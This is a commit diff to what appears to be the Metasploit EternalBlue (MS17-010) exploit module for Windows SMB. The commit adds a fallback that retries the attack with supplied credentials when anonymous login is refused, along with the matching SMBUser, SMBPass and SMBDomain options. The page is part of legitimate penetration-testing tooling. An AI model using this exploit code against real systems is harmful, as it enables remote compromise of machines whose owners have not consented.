Skip to content

Commit 4c02b7b

Browse files
David MaloneyDavid Maloney
authored andcommitted
added credentialed fallback
if anonymous login is blocked, then the user can supply credentials for the exploit to try as a fallback
1 parent dc67fcd commit 4c02b7b

File tree

1 file changed

+33
-3
lines changed

1 file changed

+33
-3
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 33 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
require 'ruby_smb'
77
require 'ruby_smb/smb1/packet'
8+
require 'windows_error'
89

910
class MetasploitModule < Msf::Exploit::Remote
1011
Rank = GoodRanking
@@ -27,13 +28,19 @@ def initialize(info = {})
2728
This exploit, like the original may not trigger 100% of the time, and should be
2829
run continuously until triggered. It seems like the pool will get hot streaks
2930
and need a cool down period before the shells rain in again.
31+
32+
The module will attempt to use Anonymous login to authenticate to perform the
33+
exploit. If Anonymous login fails and credentials have been supplied via the
34+
SMBUser, SMBPass, and SMBDomain datastore options, then it will try the exploit
35+
again with those credentials.
3036
},
3137

3238
'Author' => [
3339
'Sean Dillon <[email protected]>', # @zerosum0x0
3440
'Dylan Davis <[email protected]>', # @jennamagius
3541
'Equation Group',
36-
'Shadow Brokers'
42+
'Shadow Brokers',
43+
'thelightcosine' # RubySMB refactor and Fallback Credential mode
3744
],
3845
'License' => MSF_LICENSE,
3946
'References' =>
@@ -85,7 +92,10 @@ def initialize(info = {})
8592
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
8693
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
8794
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
88-
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] )
95+
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
96+
OptString.new('SMBUser', [ false, '(Fallback) The username to authenticate as', '']),
97+
OptString.new('SMBPass', [ false, '(Fallback) The password for the specified username', '']),
98+
OptString.new('SMBDomain', [ false, '(Fallback) The Windows domain to use for authentication', '.']),
8999
])
90100
end
91101

@@ -283,7 +293,27 @@ def smb1_anonymous_connect_ipc()
283293
sock = connect(false)
284294
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
285295
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
286-
client.login
296+
response_code = client.login
297+
298+
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
299+
if datastore['SMBUser'].present? && datastore['SMBPass'].present?
300+
client = RubySMB::Client.new(
301+
dispatcher,
302+
smb1: true,
303+
smb2: false,
304+
username: datastore['SMBUser'],
305+
password: datastore['SMBPass'],
306+
domain: datastore['SMBDomain']
307+
)
308+
response_code = client.login
309+
310+
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
311+
raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}"
312+
end
313+
else
314+
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}"
315+
end
316+
end
287317
os = client.peer_native_os
288318
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
289319

0 commit comments

Comments
 (0)